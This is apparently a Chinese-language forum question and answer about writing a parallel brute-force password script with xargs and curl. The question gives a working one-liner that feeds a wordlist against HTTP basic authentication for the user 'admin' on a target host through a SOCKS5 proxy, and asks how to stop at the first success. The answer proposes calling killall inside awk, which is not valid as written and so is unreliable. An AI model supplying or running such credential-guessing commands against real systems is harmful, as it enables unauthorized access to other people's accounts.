在并行暴力破解脚本中使用xargs



我正在使用xargs并行编写一个暴力破解脚本。我让它使用GNU并行工作,但不能让它与xargs正确工作。目前我有

cat $wordlist | xargs -n 1 -P 32 -I {} curl -s -o /dev/null -w '%{http_code} {}n' --socks5 127.0.0.1:1080 $ip -u admin:{} | awk '{if($1== "200") {print "Found password" $2; exit}}'

打印密码但无法退出。所以我的问题是我如何写这个,使它在找到第一个匹配后退出?

谢谢。

所以我的问题是我如何写这个,使它找到后退出第一场比赛?

不要使用exit,这可能会给你SIGPIPE(信号13)错误。安全终止进程组:

{print "Found password" $2; killall -g}}

最新更新